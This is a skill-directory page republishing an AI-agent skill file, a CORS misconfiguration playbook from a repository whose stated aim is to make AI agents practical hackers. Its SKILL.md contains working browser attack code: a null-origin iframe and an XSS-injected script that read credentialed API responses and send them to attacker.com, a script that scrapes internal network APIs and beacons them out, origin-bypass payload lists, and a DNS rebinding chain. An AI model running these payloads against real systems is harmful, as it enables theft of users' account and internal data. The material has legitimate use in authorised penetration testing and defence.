Agent skill

Cors Cross Origin Misconfiguration

by yaklang in yaklang/hack-skills

CORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills.

MITAuto-check passedSecurity

Install Cors Cross Origin Misconfiguration

skills CLI
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .claude/skills/cors-cross-origin-misconfiguration && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
cors-cross-origin-misconfiguration
GitHub stars
2.4k
Token cost
~2.4k tokens
SKILL.md length
606 words
Files
2
Skills in repo
27
Repo updated
First seen
Licence
MIT

At a glance

CORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills.

  • Works in 9 steps: WHEN TO LOAD THIS SKILL → HIGH-VALUE MISCONFIGURATION CHECKS → QUICK TRIAGE → …
  • Analyzing cross-origin trust
  • SKILL.md covers 1. WHEN TO LOAD THIS SKILL, 2. HIGH-VALUE MISCONFIGURATION…, 3. QUICK TRIAGE and 4. RELATED ROUTES, plus 5 more sections
  • Calls curl; reaches attacker-target.com and nottarget.com

What it does

Cors Cross Origin Misconfiguration is an agent skill from yaklang/hack-skills. CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.

Its SKILL.md is about 2.4k tokens, which your agent loads only when the skill is triggered. The skill folder holds 1 other file (for example `SCENARIOS.md`).

It sits in Security, covering Web application vulnerabilities and Penetration testing. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.

When your agent uses it

  • Analyzing cross-origin trust
  • Credentialed browser reads
  • Origin reflection
  • Preflight policy bugs

Example prompts

  • “/cors-cross-origin-misconfiguration”

Workflow steps

9 steps, taken from the step headings in SKILL.md.

  1. WHEN TO LOAD THIS SKILL
  2. HIGH-VALUE MISCONFIGURATION CHECKS
  3. QUICK TRIAGE
  4. RELATED ROUTES
  5. NULL ORIGIN EXPLOITATION
  6. SUBDOMAIN XSS → CORS BYPASS CHAIN
  7. VARY: ORIGIN CACHING ISSUE
  8. REGEX BYPASS PATTERNS
  9. INTERNAL NETWORK CORS EXPLOITATION

What it can do on your machine

Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • attacker-target.com
    • nottarget.com
    • attackertarget.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Cors Cross Origin Misconfiguration loads about 2.4k tokens when it runs. Until then it costs about 58 tokens; SKILL.md has 606 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~58
When it runs · the whole SKILL.md, loaded when a task matches
~2.4k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 606 words, ~2,390 tokens.

Download SKILL.mdSave it as .claude/skills/cors-cross-origin-misconfiguration/SKILL.md (or your agent's skills folder). This skill also uses 1 other file; get the full folder from GitHub.
name
cors-cross-origin-misconfiguration
description
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.

SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.

Extended Scenarios

Also load SCENARIOS.md when you need:

  • JSONP hijacking complete attack scenario — watering hole + <script> cross-origin data theft
  • Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
  • Same-origin policy deep dive — protocol/hostname/port definition, document.domain subdomain relaxation and its security risks
  • CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
  • CORS exploitation payloads — reflected origin with credentials: include, null origin via sandboxed iframe
  • Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

1. WHEN TO LOAD THIS SKILL

Load when:

  • Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
  • A browser-based attack path might read authenticated API responses
  • JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

ThemeWhat to Check
wildcard with credentialsAccess-Control-Allow-Origin: * plus credential support or equivalent broken behavior
reflected originserver echoes arbitrary Origin
weak allowlistsuffix, prefix, substring, regex, or mixed-case matching errors
null originacceptance of sandboxed, file, or serialized origins
preflight trustoverbroad methods and headers
internal API exposureadmin or tenant data readable cross-origin

3. QUICK TRIAGE

  1. Send crafted Origin headers and inspect reflection.
  2. Test with and without credentials.
  3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
  4. If readable data is sensitive, chain to account or tenant impact.

5. NULL ORIGIN EXPLOITATION

How Origin: null is sent
ContextOrigin Header Value
Sandboxed iframe (<iframe sandbox>)null
data: URI schemenull
file: protocol (local HTML)null
Cross-origin redirect chain (some browsers)null
Serialized data in blob: URL from opaque originnull
Exploitation

If the server includes null in its origin allowlist or reflects it:

http
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
html
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.


Show full SKILL.md (239 more words)Show less

6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow
text
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC (injected via XSS on blog.target.com)
javascript
fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});
Why this works
  • blog.target.com is same-site with api.target.com → SameSite cookies sent
  • CORS allowlist includes *.target.com → Access-Control-Allow-Origin: https://blog.target.com
  • Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
Reconnaissance for this chain
text
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

text
1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)
Detection
bash
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
Exploitation
text
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
Fix verification
text
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

Intended PatternFlawBypass Origin
^https?://.*\.target\.com$.* matches anything including -https://attacker-target.com
^https?://.*target\.com$Missing anchor after subdomainhttps://nottarget.com, https://attacker.com/.target.com
target\.com (substring match)No anchorshttps://attacker.com?target.com
^https?://(.*\.)?target\.com$Missing port restrictionhttps://target.com.attacker.com:443
^https://[a-z]+\.target\.com$Missing end anchor for pathN/A (but misses subdomains with - or digits)
Backtracking-vulnerable regexReDoShttps://aaaa...aaa.target.com (CPU exhaustion)
Test payloads for origin validation bypass
text
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
Advanced: Unicode normalization bypass
text
https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.


9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

http
Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain
text
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
javascript
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});
Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

  • Port open: connection established → CORS error (different timing)
  • Port closed: connection refused → fast error
  • Host down: timeout → slow error
Combined with DNS rebinding
text
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable

© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 1 other file in skills/cors-cross-origin-misconfiguration of yaklang/hack-skills.

  • SKILL.md
  • SCENARIOS.md

Open the folder on GitHubat commit 6fbf0bc

Compare with similar skills

Cors Cross Origin Misconfiguration next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Cors Cross Origin Misconfiguration compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Cors Cross Origin Misconfiguration this skillyaklang/hack-skills2.4k—~2.4kAutomated safety check: PassMIT
Strix Code Vulnerability Scanusestrix/strix68k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8921 repos~2.7kAutomated safety check: PassNone
Fix Strix Security Findingsusestrix/strix68k—~1.5kAutomated safety check: PassApache-2.0
Wooyun Legacytanweai/wooyun-legacy1.8k—~1.9kAutomated safety check: PassCustom licence
OWASP Top 10 Testing with Strixusestrix/strix68k—~1.6kAutomated safety check: PassApache-2.0

Similar skills

  • Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.

    68k GitHub stars~1.1k tokensUpdated today
    SecurityAuto-check passed
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    892 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    68k GitHub stars~1.5k tokensUpdated today
    SecurityAuto-check passed
  • Wooyun Legacy

    tanweai/wooyun-legacy

    WooYun business logic vulnerability methodology — 22,132 real cases across 6 domains (authentication bypass, authorization bypass, payment tampering, information disclosure, logic flaws…

    1.8k GitHub stars~1.9k tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Runs Strix's autonomous exploit agents against each OWASP Top 10:2025 category and the API Security Top 10, reporting only what could actually be proven with a proof-of-concept.

    68k GitHub stars~1.6k tokensUpdated today
    SecurityAuto-check passed
  • Client Request Signature Reversal

    awarexone/Agentic-Bug-Hunter

    Recovers a client-side request signature or anti-bot token just far enough to replay blocked requests in bug bounty testing, starting from a captured packet.

    5.3k GitHub stars~4.7k tokensUpdated yesterday
    SecurityAuto-check passed

More from yaklang/hack-skills

All 27 skills in this repo
  • Anti Debugging Techniques

    yaklang/hack-skills

    Anti-debugging detection and bypass playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~3.4k tokensUpdated 27 days ago
    Auto-check passed
  • API Auth And JWT Abuse

    yaklang/hack-skills

    API authentication and JWT abuse playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~567 tokensUpdated 27 days ago
    Auto-check passed
  • API Authorization And Bola

    yaklang/hack-skills

    API authorization and BOLA testing playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~449 tokensUpdated 27 days ago
    Auto-check passed
  • API Recon And Docs

    yaklang/hack-skills

    API reconnaissance and documentation review playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~456 tokensUpdated 27 days ago
    Auto-check passed
  • Attack Surface Mapping

    yaklang/hack-skills

    Draw a testable attack surface from one authorized target URL or one application.

    2.4k GitHub stars~2.6k tokensUpdated 27 days ago
    Auto-check passed
  • Classical Cipher Analysis

    yaklang/hack-skills

    Classical cipher analysis playbook. An agent skill from yaklang/hack-skills.

    2.4k GitHub stars~4.8k tokensUpdated 27 days ago
    Auto-check passed

Categories

Questions about Cors Cross Origin Misconfiguration

What does Cors Cross Origin Misconfiguration do?

CORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills. Cors Cross Origin Misconfiguration is an agent skill from yaklang/hack-skills. CORS misconfiguration testing playbook.

When should I use Cors Cross Origin Misconfiguration?

Cors Cross Origin Misconfiguration fits situations like: analyzing cross-origin trust; credentialed browser reads; origin reflection; preflight policy bugs.

How do I install Cors Cross Origin Misconfiguration in Claude Code?

Run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code`. Or copy the skill folder (skills/cors-cross-origin-misconfiguration in yaklang/hack-skills) into .claude/skills/cors-cross-origin-misconfiguration in your project. Claude Code loads it when a task matches its description.

How do I install Cors Cross Origin Misconfiguration in Codex?

Run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a codex`. Or copy the skill folder (skills/cors-cross-origin-misconfiguration in yaklang/hack-skills) into .agents/skills/cors-cross-origin-misconfiguration in your project. Codex loads it when a task matches its description.

Can I use Cors Cross Origin Misconfiguration in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/cors-cross-origin-misconfiguration, .gemini/skills/cors-cross-origin-misconfiguration, .github/skills/cors-cross-origin-misconfiguration and .opencode/skills/cors-cross-origin-misconfiguration in your project.

What does Cors Cross Origin Misconfiguration need to run?

Going by SKILL.md and its folder, Cors Cross Origin Misconfiguration needs the command-line tools its instructions call (curl).

Does Cors Cross Origin Misconfiguration access the network?

SKILL.md names 3 domains. In commands or code: attacker-target.com, nottarget.com and attackertarget.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Cors Cross Origin Misconfiguration safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Cors Cross Origin Misconfiguration use?

Cors Cross Origin Misconfiguration is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Cors Cross Origin Misconfiguration use?

About 2.4k tokens (SKILL.md is roughly 9.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Cors Cross Origin Misconfiguration?

Skills that share tags, products or a category with Cors Cross Origin Misconfiguration: Strix Code Vulnerability Scan (usestrix/strix, 68k stars), Code Audit (3stoneBrother/code-audit, 892 stars), Fix Strix Security Findings (usestrix/strix, 68k stars) and Wooyun Legacy (tanweai/wooyun-legacy, 1.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Cors Cross Origin Misconfiguration?

yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,418 GitHub stars. The repository holds 27 skills in this directory. The repository was last updated on September 13, 2026.

Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.